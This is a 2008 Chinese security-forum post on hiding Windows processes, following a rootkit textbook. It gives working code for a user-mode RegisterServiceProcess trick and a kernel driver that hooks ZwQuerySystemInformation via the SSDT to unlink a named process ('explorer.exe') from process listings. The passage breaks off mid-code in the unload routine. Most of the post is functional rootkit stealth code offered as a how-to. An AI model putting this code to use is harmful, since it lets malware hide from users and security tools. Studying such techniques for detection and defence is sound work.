首页
论坛
专栏
课程

[原创]从DKOM摘链隐藏进程想到的(文中问题已经解决)

2008-8-7 10:28 11141

[原创]从DKOM摘链隐藏进程想到的(文中问题已经解决)

2008-8-7 10:28
11141
扔出篇垃圾文章,(高手看过笑一下,本文的效果达到了!新入门的觉得有点收获,效果也达到了,高手还是掠过吧!没创新,就是一些总结)
今天是距奥运会的最后一天,已经碌碌无为了.也没什么长进,只是觉得看那本《Rootkits Subverting the Windows Kernel》中文名是《ROOTKITS—Windows内核的安全防护》(连名字都给人家改了)觉得收获颇丰.
最近看了下DKOM隐藏驱动,随之联想到几种隐藏进程的方法:
第一种:ring3下的很简单很古老一种方法就是调用RegisterServiceProcess函数
[COLOR=#0000ff][FONT=Times]#include [/FONT][/COLOR][COLOR=#808000][FONT=Times]<windows.h>[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]void main()[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]typedef   [/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times]   ([/FONT][/COLOR][COLOR=#a000a0][FONT=Times]CALLBACK[/FONT][/COLOR][COLOR=#808000][FONT=Times]*   [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]LPR[/FONT][/COLOR][COLOR=#808000][FONT=Times])([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times],[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times]);[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]HINSTANCE[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]hDLL[/FONT][/COLOR][COLOR=#808000][FONT=Times];   [/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]LPR[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]lpRegisterServiceProcess[/FONT][/COLOR][COLOR=#808000][FONT=Times];   [/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]hDLL[/FONT][/COLOR][COLOR=#808000][FONT=Times]   =   [/FONT][/COLOR][COLOR=#a000a0][FONT=Times]LoadLibrary[/FONT][/COLOR][COLOR=#808000][FONT=Times]("KERNEL32.dll");   [/FONT][/COLOR]
[COLOR=#008000][FONT=Times]//[FONT=宋体]得到RegisterServiceProcess的地址   [/FONT][/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]lpRegisterServiceProcess[/FONT][/COLOR][COLOR=#808000][FONT=Times]   =   ([/FONT][/COLOR][COLOR=#00ffff][FONT=Times]LPR[/FONT][/COLOR][COLOR=#808000][FONT=Times])[/FONT][/COLOR][COLOR=#ff8000][FONT=Times]GetProcAddress[/FONT][/COLOR][COLOR=#808000][FONT=Times]( [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]hDLL[/FONT][/COLOR][COLOR=#808000][FONT=Times],"RegisterServiceProcess" );   [/FONT][/COLOR]
[COLOR=#008000][FONT=Times]//[FONT=宋体]执行RegisterServiceProcess函数   [/FONT][/FONT][/COLOR]
[COLOR=#ff8000][FONT=Times]lpRegisterServiceProcess[/FONT][/COLOR][COLOR=#808000][FONT=Times]( [/FONT][/COLOR][COLOR=#ff8000][FONT=Times]GetCurrentProcessId[/FONT][/COLOR][COLOR=#808000][FONT=Times](),[/FONT][/COLOR][COLOR=#808080][FONT=Times]1[/FONT][/COLOR][COLOR=#808000][FONT=Times] );   [/FONT][/COLOR]
[COLOR=#008000][FONT=Times]//[FONT=宋体]卸载链接库   [/FONT][/FONT][/COLOR]
[COLOR=#ff8000][FONT=Times]FreeLibrary[/FONT][/COLOR][COLOR=#808000][FONT=Times]([/FONT][/COLOR][COLOR=#00ffff][FONT=Times]hDLL[/FONT][/COLOR][COLOR=#808000][FONT=Times]);[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]while ( [/FONT][/COLOR][COLOR=#808080][FONT=Times]1[/FONT][/COLOR][COLOR=#808000][FONT=Times] )[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]

不过可惜可惜呀WinNT中没有这个函数
不过有人反汇编了这个函数而且在NT写了代码
http://www.pc-soft.cn/blogview.asp?logID=30
方法2:HOOK SSDT(地球人都知道呀!HOOK ZwQuerySystemInfo)
没什么意思:
[COLOR=#0000ff][FONT=Times]#include [/FONT][/COLOR][COLOR=#808000][FONT=Times]<ntddk.h>[/FONT][/COLOR]
[COLOR=#008000][FONT=Times]//struct of ssdt[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]typedef struct [/FONT][/COLOR][COLOR=#0000ff][FONT=Times]_SERVICE_DESCRIPT0R_TABLE[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]unsigned int *[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ServiceTableBase[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]unsigned int *[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ServiceCounterTableBase[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]unsigned int [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]NumberOfService[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]unsigned [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]char[/FONT][/COLOR][COLOR=#808000][FONT=Times] *[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ParamTableBase[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]SERVICE_DESCRIPTOR_TABLE[/FONT][/COLOR][COLOR=#808000][FONT=Times],*[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PSERVICE_DESCRIPTOR_TABLE[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
 
[COLOR=#808000][FONT=Times]typedef struct [/FONT][/COLOR][COLOR=#0000ff][FONT=Times]_SYSTEM_THREADS[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]    LARGE_INTEGER           [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]KernelTime[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]    LARGE_INTEGER           [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]UserTime[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]    LARGE_INTEGER           [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]CreateTime[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]ULONG[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]WaitTime[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]PVOID[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]StartAddress[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]    CLIENT_ID               [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ClientIs[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]KPRIORITY[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]Priority[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]KPRIORITY[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]BasePriority[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]ULONG[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ContextSwitchCount[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]ULONG[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ThreadState[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]    KWAIT_REASON            [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]WaitReason[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]SYSTEM_THREADS[/FONT][/COLOR][COLOR=#808000][FONT=Times],*[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PSYSTEM_THREADS[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
 
[COLOR=#808000][FONT=Times]typedef struct [/FONT][/COLOR][COLOR=#0000ff][FONT=Times]_SYSTEM_PROCESSES[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]ULONG[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]NextEntryDelta[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]ULONG[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ThreadCount[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]ULONG[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]Reserved[/FONT][/COLOR][COLOR=#808000][FONT=Times][[/FONT][/COLOR][COLOR=#808080][FONT=Times]6[/FONT][/COLOR][COLOR=#808000][FONT=Times]];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]    LARGE_INTEGER[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]CreateTime[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]    LARGE_INTEGER[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]UserTime[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]    LARGE_INTEGER[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]KernelTime[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]    UNICODE_STRING[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ProcessName[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]KPRIORITY[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]BasePriority[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]ULONG[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ProcessId[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]ULONG[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]InheritedFromProcessId[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]ULONG[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]HandleCount[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]ULONG[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]Reserved2[/FONT][/COLOR][COLOR=#808000][FONT=Times][[/FONT][/COLOR][COLOR=#808080][FONT=Times]2[/FONT][/COLOR][COLOR=#808000][FONT=Times]];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]    VM_COUNTERS                     [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]VmCounters[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]    IO_COUNTERS                     [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]IoCounters[/FONT][/COLOR][COLOR=#808000][FONT=Times]; [/FONT][/COLOR][COLOR=#008000][FONT=Times]//windows 2000 only[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]SYSTEM_THREADS[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]Threads[/FONT][/COLOR][COLOR=#808000][FONT=Times][[/FONT][/COLOR][COLOR=#808080][FONT=Times]1[/FONT][/COLOR][COLOR=#808000][FONT=Times]];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]SYSTEMPROCESS[/FONT][/COLOR][COLOR=#808000][FONT=Times],*[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PSYSTEMPROCESS[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
 
[COLOR=#a000a0][FONT=Times]NTSYSAPI[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]SERVICE_DESCRIPTOR_TABLE[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]KeServiceDescriptorTable[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
 
[COLOR=#a000a0][FONT=Times]NTSYSAPI[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]NTSTATUS[/FONT][/COLOR]
[COLOR=#a000a0][FONT=Times]NTAPI[/FONT][/COLOR][COLOR=#ff8000][FONT=Times]ZwQuerySystemInformation[/FONT][/COLOR][COLOR=#808000][FONT=Times]( [/FONT][/COLOR][COLOR=#a000a0][FONT=Times]IN[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]ULONG[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]SystemInfomationClass[/FONT][/COLOR][COLOR=#808000][FONT=Times],[/FONT][/COLOR]
[COLOR=#a000a0][FONT=Times]IN[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PVOID[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]SystemInformation[/FONT][/COLOR][COLOR=#808000][FONT=Times],[/FONT][/COLOR]
[COLOR=#a000a0][FONT=Times]IN[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]ULONG[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]SystemInformationLength[/FONT][/COLOR][COLOR=#808000][FONT=Times],[/FONT][/COLOR]
[COLOR=#a000a0][FONT=Times]OUT[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PULONG[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ReturnLength[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]  );[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]typedef [/FONT][/COLOR][COLOR=#0000ff][FONT=Times]NTSTATUS[/FONT][/COLOR][COLOR=#808000][FONT=Times] (*[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ZWQUERYSYSTEMINFORMATION[/FONT][/COLOR][COLOR=#808000][FONT=Times])([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]ULONG[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]SystemInfomationClass[/FONT][/COLOR][COLOR=#808000][FONT=Times],[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]PVOID[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]SystemInformation[/FONT][/COLOR][COLOR=#808000][FONT=Times],[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]ULONG[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]SystemInformationLength[/FONT][/COLOR][COLOR=#808000][FONT=Times],[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]PULONG[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ReturnLength[/FONT][/COLOR]
[COLOR=#808000][FONT=Times] );[/FONT][/COLOR]
 
[COLOR=#00ffff][FONT=Times]ZWQUERYSYSTEMINFORMATION[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]OldZwQuerySystemInformation[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
 
[COLOR=#0000ff][FONT=Times]NTSTATUS[/FONT][/COLOR][COLOR=#808000][FONT=Times] NewZwQuerySystemInformation(   [/FONT][/COLOR][COLOR=#a000a0][FONT=Times]IN[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]ULONG[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]SystemInfomationClass[/FONT][/COLOR][COLOR=#808000][FONT=Times],[/FONT][/COLOR]
[COLOR=#a000a0][FONT=Times]IN[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PVOID[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]SystemInformation[/FONT][/COLOR][COLOR=#808000][FONT=Times],[/FONT][/COLOR]
[COLOR=#a000a0][FONT=Times]IN[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]ULONG[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]SystemInformationLength[/FONT][/COLOR][COLOR=#808000][FONT=Times],[/FONT][/COLOR]
[COLOR=#a000a0][FONT=Times]OUT[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PULONG[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ReturnLength[/FONT][/COLOR]
[COLOR=#808000][FONT=Times] )[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]NTSTATUS[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ntStatus[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]ntStatus[/FONT][/COLOR][COLOR=#808000][FONT=Times] = (([/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ZWQUERYSYSTEMINFORMATION[/FONT][/COLOR][COLOR=#808000][FONT=Times])([/FONT][/COLOR][COLOR=#00ffff][FONT=Times]OldZwQuerySystemInformation[/FONT][/COLOR][COLOR=#808000][FONT=Times]))([/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]SystemInfomationClass[/FONT][/COLOR][COLOR=#808000][FONT=Times],[/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]SystemInformation[/FONT][/COLOR][COLOR=#808000][FONT=Times],[/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]SystemInformationLength[/FONT][/COLOR][COLOR=#808000][FONT=Times],[/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]ReturnLength[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]);[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]if ( ![/FONT][/COLOR][COLOR=#a000a0][FONT=Times]NT_SUCCESS[/FONT][/COLOR][COLOR=#808000][FONT=Times]( [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ntStatus[/FONT][/COLOR][COLOR=#808000][FONT=Times] ) )[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]如果失败直接返回[/FONT][/FONT][/COLOR]
[COLOR=#808000][FONT=Times]return [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ntStatus[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]if ( [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]SystemInfomationClass[/FONT][/COLOR][COLOR=#808000][FONT=Times] == [/FONT][/COLOR][COLOR=#808080][FONT=Times]5[/FONT][/COLOR][COLOR=#808000][FONT=Times] )[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]如果是列表查询![/FONT][/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]PSYSTEMPROCESS[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pCurrentProcess[/FONT][/COLOR][COLOR=#808000][FONT=Times] = ([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PSYSTEMPROCESS[/FONT][/COLOR][COLOR=#808000][FONT=Times])[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]SystemInformation[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]得得到进程列表[/FONT][/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]PSYSTEMPROCESS[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pPrevious[/FONT][/COLOR][COLOR=#808000][FONT=Times]       = [/FONT][/COLOR][COLOR=#a000a0][FONT=Times]NULL[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]设置第一项为空[/FONT][/FONT][/COLOR]
 
[COLOR=#808000][FONT=Times]while( [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pCurrentProcess[/FONT][/COLOR][COLOR=#808000][FONT=Times] )[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]开始循环[/FONT][/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]if ( [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pCurrentProcess[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ProcessName[/FONT][/COLOR][COLOR=#808000][FONT=Times].[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]Buffer[/FONT][/COLOR][COLOR=#808000][FONT=Times] != [/FONT][/COLOR][COLOR=#a000a0][FONT=Times]NULL[/FONT][/COLOR][COLOR=#808000][FONT=Times] )[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]if ( [/FONT][/COLOR][COLOR=#ff8000][FONT=Times]memcmp[/FONT][/COLOR][COLOR=#808000][FONT=Times]( [/FONT][/COLOR][COLOR=#ff8000][FONT=Times]_wcslwr[/FONT][/COLOR][COLOR=#808000][FONT=Times]([/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pCurrentProcess[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ProcessName[/FONT][/COLOR][COLOR=#808000][FONT=Times].[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]Buffer[/FONT][/COLOR][COLOR=#808000][FONT=Times]),[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]将字符串变成小写再比较[/FONT][/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]L[/FONT][/COLOR][COLOR=#808000][FONT=Times]"explorer.exe", sizeof( [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]L[/FONT][/COLOR][COLOR=#808000][FONT=Times]"explorer.exe" )) == [/FONT][/COLOR][COLOR=#808080][FONT=Times]0[/FONT][/COLOR][COLOR=#808000][FONT=Times])[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]if ( [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pPrevious[/FONT][/COLOR][COLOR=#808000][FONT=Times] )[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]如果不是第一个[/FONT][/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]if ( [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pCurrentProcess[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]NextEntryDelta[/FONT][/COLOR][COLOR=#808000][FONT=Times] )[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]不是最后一个[/FONT][/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]pPrevious[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]NextEntryDelta[/FONT][/COLOR][COLOR=#808000][FONT=Times] += [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pCurrentProcess[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]NextEntryDelta[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]else[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]最后一个[/FONT][/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]pPrevious[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]NextEntryDelta[/FONT][/COLOR][COLOR=#808000][FONT=Times] = [/FONT][/COLOR][COLOR=#808080][FONT=Times]0[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]else[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]第一个[/FONT][/FONT][/COLOR]
[COLOR=#808000][FONT=Times]if ( [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pCurrentProcess[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]NextEntryDelta[/FONT][/COLOR][COLOR=#808000][FONT=Times] )[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]([/FONT][/COLOR][COLOR=#00ffff][FONT=Times]char[/FONT][/COLOR][COLOR=#808000][FONT=Times]*)[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]SystemInformation[/FONT][/COLOR][COLOR=#808000][FONT=Times] += [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pCurrentProcess[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]NextEntryDelta[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]else[/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]SystemInformation[/FONT][/COLOR][COLOR=#808000][FONT=Times] = [/FONT][/COLOR][COLOR=#a000a0][FONT=Times]NULL[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]pPrevious[/FONT][/COLOR][COLOR=#808000][FONT=Times] = [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pCurrentProcess[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]if( [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pCurrentProcess[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]NextEntryDelta[/FONT][/COLOR][COLOR=#808000][FONT=Times] )[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]([/FONT][/COLOR][COLOR=#00ffff][FONT=Times]char[/FONT][/COLOR][COLOR=#808000][FONT=Times]*)[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pCurrentProcess[/FONT][/COLOR][COLOR=#808000][FONT=Times] += [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pCurrentProcess[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]NextEntryDelta[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]移向下一个节点[/FONT][/FONT][/COLOR]
[COLOR=#808000][FONT=Times]else[/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]pCurrentProcess[/FONT][/COLOR][COLOR=#808000][FONT=Times] = [/FONT][/COLOR][COLOR=#a000a0][FONT=Times]NULL[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]return [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ntStatus[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
 
[COLOR=#008000][FONT=Times]//[FONT=宋体]驱动卸载函数[/FONT][/FONT][/COLOR]
[COLOR=#ff8000][FONT=Times]VOID[/FONT][/COLOR][COLOR=#808000][FONT=Times] OnUnload( [/FONT][/COLOR][COLOR=#a000a0][FONT=Times]IN[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PDRIVER_OBJECT[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]DriverObject[/FONT][/COLOR][COLOR=#808000][FONT=Times] )[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#ff8000][FONT=Times]DbgPrint[/FONT][/COLOR][COLOR=#808000][FONT=Times]( " The Driver Unload ! \n" );[/FONT][/COLOR]
[COLOR=#ff8000][FONT=Times]DbgPrint[/FONT][/COLOR][COLOR=#808000][FONT=Times]( "UnHook Start! \n ");[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]__asm[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]去掉内存保护[/FONT][/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]cli[/FONT][/COLOR]
